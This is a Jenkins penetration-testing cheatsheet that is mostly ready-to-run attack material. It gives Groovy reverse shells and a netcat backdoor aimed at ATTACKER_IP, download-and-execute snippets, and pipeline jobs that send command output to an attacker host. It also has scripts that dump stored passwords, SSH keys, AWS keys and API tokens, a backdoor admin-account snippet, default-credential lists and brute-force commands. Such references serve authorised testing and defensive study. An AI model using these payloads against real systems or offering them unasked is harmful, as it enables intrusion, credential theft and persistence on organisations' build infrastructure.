Jenkins Pentesting Cheatsheet
BLUF: Jenkins is a crown-jewel CI/CD target. The script console gives direct OS RCE as the jenkins user. Stored credentials often include SSH keys, API tokens, cloud keys, and service account passwords for every system in the pipeline.
Attack Flow
1. Recon → Port scan 8080/8443, grab X-Jenkins header, check version
2. Anon Check → Test unauthenticated access to /script, /api, /manage, /asynchPeople
3. Auth → Spray default creds, brute force, check signup page
4. Enum → Users, jobs, plugins, nodes, credentials (with auth)
5. RCE → Script console Groovy → OS command / reverse shell
6. Post-Ex → Dump stored credentials (SSH, AWS, API, DB) → pivot
7. Persist → Admin user creation, malicious job, plugin backdoor
Recon
# Common ports — Jenkins defaults to 8080 HTTP, 8443 HTTPS
nmap -sV -p 8080,8443,443,80 <target>
# Version from response header (no auth needed)
curl -sI http://<target>:8080 | grep -i "x-jenkins"
curl -sI http://<target>:8080 | grep -i "server"
# Version from login page
curl -s http://<target>:8080/login | grep -i "jenkins ver"
# Version from API (if anonymous access enabled)
curl -s http://<target>:8080/api/json | jq .
# Who-am-I (often accessible even without auth)
curl -s http://<target>:8080/whoAmI/api/json
Common Jenkins Ports
| Port |
Protocol |
Notes |
| 8080 |
HTTP |
Default |
| 8443 |
HTTPS |
Default TLS |
| 50000 |
TCP |
Agent/JNLP port |
| 443/80 |
HTTP/S |
Reverse proxy setups |
Anonymous Access Checks
Test these without credentials first. Each endpoint that returns 200/content rather than 403 is a misconfiguration to flag.
BASE="http://<target>:8080"
# Core sensitive endpoints
curl -s $BASE/script # Groovy script console — RCE if accessible
curl -s $BASE/manage # Management page
curl -s $BASE/systemInfo # OS, Java, env vars
curl -s $BASE/credentials/ # Stored credentials list
curl -s $BASE/asynchPeople/ # User directory
curl -s $BASE/log/all # System log
curl -s $BASE/view/all/newJob # Job creation
curl -s $BASE/computer/ # Agent nodes
curl -s $BASE/pluginManager/ # Plugin list
# API endpoints
curl -s $BASE/api/json # Master API
curl -s $BASE/api/json?pretty=true
# CLI jar (downloadable without auth — check if usable)
curl -s -O $BASE/jnlpJars/jenkins-cli.jar
Self-Registration Check
# If signup exists and is functional → create an account without invite
curl -s http://<target>:8080/signup
# Note: Even if the form loads, account creation may fail silently
# Check for Jenkins-Crumb header in the form (CSRF protection active)
curl -s http://<target>:8080/signup | grep "Jenkins-Crumb\|crumb"
Authentication — Default Credentials
| Username |
Password |
Notes |
admin |
admin |
Most common default |
admin |
password |
|
jenkins |
jenkins |
|
admin |
jenkins |
|
admin |
(empty) |
Older installs with no auth |
# Initial admin password (file-based — useful if you have FS access)
cat /var/lib/jenkins/secrets/initialAdminPassword # Linux
type C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword # Windows
Brute Force
# Hydra — HTTP form POST
hydra -L users.txt -P passwords.txt <target> -s 8080 http-post-form \
"/j_spring_security_check:j_username=^USER^&j_password=^PASS^&Submit=Sign+in:Invalid username or password"
# JenkinsVulnFinder (anonymous + brute)
# https://github.com/Bhanunamikaze/JenkinsVulnFinder
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred
python JenkinsVulnsFinder.py --url http://<target>:8080 --cred user:pass
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred \
--brute --users users.txt --pass passwords.txt
# Metasploit
use auxiliary/scanner/http/jenkins_login
set RHOSTS <target>; set RPORT 8080
set USER_FILE users.txt; set PASS_FILE pass.txt; run
Authenticated Enumeration
Get CSRF Crumb (Required for POST Requests)
# Must be included in all POST/PUT requests as a header
CRUMB=$(curl -s -u user:pass "http://<target>:8080/crumbIssuer/api/json" \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumbRequestField']+':'+d['crumb'])")
echo $CRUMB
# Use as: -H "$CRUMB"
User Enumeration
# People directory
curl -su user:pass http://<target>:8080/asynchPeople/api/json | jq .
# Specific user info
curl -su user:pass http://<target>:8080/user/admin/api/json
# MSF user enum
use auxiliary/scanner/http/jenkins_enum
set RHOSTS <target>; set RPORT 8080; run
Job Enumeration
# List all jobs
curl -su user:pass "http://<target>:8080/api/json?tree=jobs[name,url]" | jq .
# Job details
curl -su user:pass http://<target>:8080/job/<jobname>/api/json | jq .
# Build history
curl -su user:pass "http://<target>:8080/job/<jobname>/api/json?tree=builds[number,url]"
# Console output from last build (gold mine — may have secrets/errors)
curl -su user:pass http://<target>:8080/job/<jobname>/lastBuild/consoleText
# Job config XML (may contain plaintext secrets or pipeline logic)
curl -su user:pass http://<target>:8080/job/<jobname>/config.xml
Plugin Enumeration
# Full plugin list with versions
curl -su user:pass "http://<target>:8080/pluginManager/api/json?depth=1" | jq '.plugins[] | {shortName, version, active}'
# Cross-reference against known CVEs
# https://www.jenkins.io/security/advisories/
Node / Agent Enumeration
# List agent nodes (often have broader network access)
curl -su user:pass http://<target>:8080/computer/api/json | jq .
# Agent details
curl -su user:pass http://<target>:8080/computer/<node-name>/api/json
Credential Store Enumeration
# List credential IDs (descriptions visible without master key)
curl -su user:pass http://<target>:8080/credentials/store/system/domain/_/api/json | jq .
# View individual credential metadata
curl -su user:pass "http://<target>:8080/credentials/store/system/domain/_/credential/<id>/api/json"
Script Console RCE (Primary Attack Path)
URL: http://<target>:8080/script
Requires authentication + admin/Script-Execute privilege.
OS Command Execution
// Basic command execution
def cmd = "id"
def proc = cmd.execute()
proc.waitFor()
println proc.text
// Shell execution (Linux)
def cmd = ["/bin/bash", "-c", "id; whoami; hostname"]
def proc = cmd.execute()
proc.waitFor()
println proc.text
// Windows
def cmd = ["cmd.exe", "/c", "whoami && ipconfig"]
def proc = cmd.execute()
proc.waitFor()
println proc.text
Reverse Shell — Groovy (Linux)
String host = "ATTACKER_IP"
int port = 4444
String cmd = "/bin/bash"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream()
OutputStream po = p.getOutputStream(), so = s.getOutputStream()
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read())
while (pe.available() > 0) so.write(pe.read())
while (si.available() > 0) po.write(si.read())
so.flush(); po.flush()
Thread.sleep(50)
try { p.exitValue(); break } catch (Exception e) {}
}
p.destroy(); s.close()
Reverse Shell — Groovy (Windows)
String host = "ATTACKER_IP"
int port = 4444
String cmd = "cmd.exe"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream()
OutputStream po = p.getOutputStream(), so = s.getOutputStream()
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read())
while (pe.available() > 0) so.write(pe.read())
while (si.available() > 0) po.write(si.read())
so.flush(); po.flush()
Thread.sleep(50)
try { p.exitValue(); break } catch (Exception e) {}
}
p.destroy(); s.close()
Useful Groovy Snippets
// Print all environment variables (pipeline secrets often here)
System.getenv().each { k, v -> println "${k}:${v}" }
// Read arbitrary file
println new File('/etc/passwd').text
println new File('/var/lib/jenkins/secrets/initialAdminPassword').text
println new File('/var/lib/jenkins/credentials.xml').text
// Write file (drop webshell, backdoor, etc.)
new File('/tmp/backdoor.sh').write('#!/bin/bash\nnc ATTACKER_IP 4444 -e /bin/bash')
"chmod +x /tmp/backdoor.sh".execute()
// Execute and capture output
def proc = "ls -la /var/lib/jenkins/".execute()
println proc.text
// Download and execute
new URL('http://ATTACKER_IP/shell.sh').openStream().eachLine { println it }
"chmod +x /tmp/shell.sh".execute()
"/tmp/shell.sh".execute()
// Jenkins home directory
println jenkins.model.Jenkins.instance.getRootDir()
Script Console via curl (POST)
# Get CSRF crumb first
CRUMB=$(curl -su user:pass http://<target>:8080/crumbIssuer/api/json | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumbRequestField']+':'+d['crumb'])")
# POST Groovy script
curl -su user:pass http://<target>:8080/scriptText \
-H "$CRUMB" \
--data-urlencode "script=println 'id'.execute().text"
Job-Based RCE (No Script Console Access Required)
If you can create/modify jobs but not access /script, use a pipeline job.
# Create a freestyle job that runs OS commands via shell build step
# Or create a Pipeline job with inline Groovy
CRUMB=$(curl -su user:pass http://<target>:8080/crumbIssuer/api/json | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumbRequestField']+':'+d['crumb'])")
# Create pipeline job via API
curl -su user:pass -X POST http://<target>:8080/createItem?name=pwnjob \
-H "$CRUMB" \
-H "Content-Type: application/xml" \
--data '<?xml version="1.0" encoding="UTF-8"?>
<flow-definition>
<definition class="org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition">
<script>
node {
sh "id > /tmp/pwned.txt; curl http://ATTACKER_IP/?$(id)"
}
</script>
</definition>
</flow-definition>'
# Trigger the job
curl -su user:pass -X POST http://<target>:8080/job/pwnjob/build \
-H "$CRUMB"
Credential Harvesting (Script Console)
Username/Password Credentials
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
Jenkins.instance, null, null
)
for (c in creds) {
println(c.id + ":" + c.username + ":" + c.password)
}
SSH Private Keys
def sshCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey.class,
Jenkins.instance, null, null
)
for (c in sshCreds) {
println(c.id + ":" + c.username)
println(c.privateKey)
}
AWS Credentials
def awsCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.jenkins.plugins.awscredentials.AWSCredentials.class,
Jenkins.instance, null, null
)
for (c in awsCreds) {
println("ID: " + c.id)
println("Access Key: " + c.accessKey)
println("Secret Key: " + c.secretKey)
}
Secret Text / API Tokens
def secretCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
org.jenkinsci.plugins.plaincredentials.StringCredentials.class,
Jenkins.instance, null, null
)
for (c in secretCreds) {
println(c.id + ":" + c.secret)
}
# If you have filesystem access (SSH, RCE)
cat /var/lib/jenkins/credentials.xml
# Decrypt with Jenkins master key
# Master key: /var/lib/jenkins/secrets/master.key
# Hudson secret: /var/lib/jenkins/secrets/hudson.util.Secret
# Use jenkins-credentials-decryptor to offline decrypt:
# https://github.com/hoto/jenkins-credentials-decryptor
java -jar jenkins-credentials-decryptor.jar \
-m /var/lib/jenkins/secrets/master.key \
-s /var/lib/jenkins/secrets/hudson.util.Secret \
-c /var/lib/jenkins/credentials.xml
Post-Exploitation
// OS / Java / Jenkins details
println "OS: " + System.getProperty("os.name")
println "User: " + System.getProperty("user.name")
println "Home: " + System.getProperty("user.home")
println "Jenkins home: " + jenkins.model.Jenkins.instance.getRootDir()
println "Java: " + System.getProperty("java.version")
Admin User Creation (Persistence)
// Create a new admin user via script console
def user = hudson.model.User.get("backdoor", true, Collections.emptyMap())
def pw = hudson.security.HudsonPrivateSecurityRealm.Details.fromPlainPassword("P@ssw0rd!")
user.addProperty(pw)
def adminRole = new jenkins.model.Jenkins.ADMINISTER()
jenkins.model.Jenkins.instance.setAuthorizationStrategy(
new hudson.security.FullControlOnceLoggedInAuthorizationStrategy()
)
user.save()
println "User created"
Lateral Movement via Build Agents
# Agents typically have broader internal network access
# Enumerate agents
curl -su user:pass http://<target>:8080/computer/api/json | jq '.computer[] | {displayName, offline}'
# Execute commands on a specific agent via pipeline
node('<agent-label>') {
sh 'id; curl http://ATTACKER_IP/$(hostname)'
}
Secret Files from Workspace
# Build workspaces often contain source code, config files, .env, etc.
curl -su user:pass "http://<target>:8080/job/<jobname>/ws/"
# Download specific file from workspace
curl -su user:pass "http://<target>:8080/job/<jobname>/ws/.env" -O
curl -su user:pass "http://<target>:8080/job/<jobname>/ws/config.yml" -O
CVEs — Notable Jenkins Vulnerabilities
| CVE |
Version |
Type |
Impact |
| CVE-2024-23897 |
< 2.442 |
Arbitrary file read via CLI |
Read secrets, escalate to RCE |
| CVE-2023-27898 |
< 2.319.2 |
XSS → stored |
Admin account takeover |
| CVE-2022-0538 |
< 2.333 |
Log4Shell chain |
RCE |
| CVE-2019-1003000 |
< 2.137 |
Sandbox bypass |
Groovy RCE from Pipeline |
| CVE-2018-1000861 |
< 2.153 |
RCE via crafted request |
Unauthenticated RCE |
| CVE-2016-0792 |
< 1.650 |
Java deserialization |
Unauthenticated RCE via JNLP |
CVE-2024-23897 (File Read → RCE)
# Download CLI jar
curl -sO http://<target>:8080/jnlpJars/jenkins-cli.jar
# Read arbitrary file (no auth required in affected versions)
java -jar jenkins-cli.jar -s http://<target>:8080 help "@/etc/passwd"
java -jar jenkins-cli.jar -s http://<target>:8080 help "@/var/lib/jenkins/secrets/initialAdminPassword"
java -jar jenkins-cli.jar -s http://<target>:8080 help "@/var/lib/jenkins/credentials.xml"
# MSF module
use exploit/multi/http/jenkins_cli_deserialization
set RHOSTS <target>; set RPORT 8080; run
Jenkins CLI
# Download
curl -sO http://<target>:8080/jnlpJars/jenkins-cli.jar
# Auth check
java -jar jenkins-cli.jar -s http://<target>:8080 -auth user:pass who-am-i
# List jobs
java -jar jenkins-cli.jar -s http://<target>:8080 -auth user:pass list-jobs
# Execute Groovy
java -jar jenkins-cli.jar -s http://<target>:8080 -auth user:pass groovy = <<< "println 'id'.execute().text"
# SSH auth variant (if SSH port is open, default 22 or 50022)
ssh -l user -p 8022 <target> help
Jenkins Attack Framework (JAF)
# https://github.com/Accenture/jenkins-attack-framework
git clone https://github.com/Accenture/jenkins-attack-framework.git
cd jenkins-attack-framework && sudo ./jaf --install
# Access check (anonymous if no creds)
python jaf.py AccessCheck -s http://<target>:8080/ -a user:pass
# Cookie/session auth
python jaf.py AccessCheck -s http://<target>:8080/ \
-a "JSESSIONID.b56cceb4=node01xxx|crumb=74366885..."
# Console output from all jobs
python jaf.py ConsoleOutput -s http://<target>:8080/ -a user:pass
# Dump all credentials
python jaf.py DumpCreds -s http://<target>:8080/ -a admin:pass
# List API tokens
python jaf.py ListAPITokens -s http://<target>:8080/ -a admin:pass
# List jobs
python jaf.py ListJobs -s http://<target>:8080/ -a user:pass
# Remote command execution
python jaf.py RunCommand whoami -s http://<target>:8080/ -a admin:pass
JenkinsVulnFinder
# https://github.com/Bhanunamikaze/JenkinsVulnFinder
# Mass discovery
./JenkinsScanner.sh -i ip_list.txt -p 80,443,8443,8080,8010,8090,8085 -o jenkins_instances.txt
# Vulnerability scan (no creds)
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred
# With credentials
python JenkinsVulnsFinder.py --url http://<target>:8080 --cred user:pass
# With brute force
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred \
--brute --users users.txt --pass passwords.txt
# Directory brute
python JenkinsVulnsFinder.py --url http://<target>:8080 --nocred --dirb wordlist.txt
use auxiliary/scanner/http/jenkins_enum # Enumerate
use auxiliary/scanner/http/jenkins_login # Brute force
use exploit/multi/http/jenkins_script_console # RCE via script console
use exploit/multi/http/jenkins_cli_deserialization # CVE-2016-0792
use auxiliary/scanner/http/jenkins_command # Execute command (authenticated)
Common Jenkins Paths
| Path |
Notes |
/script |
Groovy script console — highest value |
/manage |
Admin management page |
/systemInfo |
OS, Java, environment variables |
/credentials/ |
Stored credential IDs |
/asynchPeople/ |
User directory |
/log/all |
System log |
/view/all/newJob |
Create new job |
/pluginManager/ |
Plugin list |
/computer/ |
Build agents / nodes |
/api/json |
REST API root |
/whoAmI/api/json |
Auth status check |
/jnlpJars/jenkins-cli.jar |
CLI tool download |
/signup |
Self-registration |
/crumbIssuer/api/json |
CSRF token |
/job/<name>/config.xml |
Job configuration XML |
/job/<name>/lastBuild/consoleText |
Latest build output |
/job/<name>/ws/ |
Build workspace files |
Misconfigurations Checklist
Quick Reference
| Task |
Command |
| Version |
curl -sI http://target:8080 | grep X-Jenkins |
| Anon access |
curl -s http://target:8080/api/json |
| Who am I |
curl -s http://target:8080/whoAmI/api/json |
| Get crumb |
curl -su u:p http://target:8080/crumbIssuer/api/json |
| List jobs |
curl -su u:p "http://target:8080/api/json?tree=jobs[name]" |
| Build output |
curl -su u:p http://target:8080/job/NAME/lastBuild/consoleText |
| Groovy RCE |
POST to /scriptText with script=<groovy> |
| Dump creds |
Groovy CredentialsProvider.lookupCredentials(...) |
| CLI download |
curl -sO http://target:8080/jnlpJars/jenkins-cli.jar |
| File read CVE |
java -jar jenkins-cli.jar -s http://target help "@/etc/passwd" |
Key References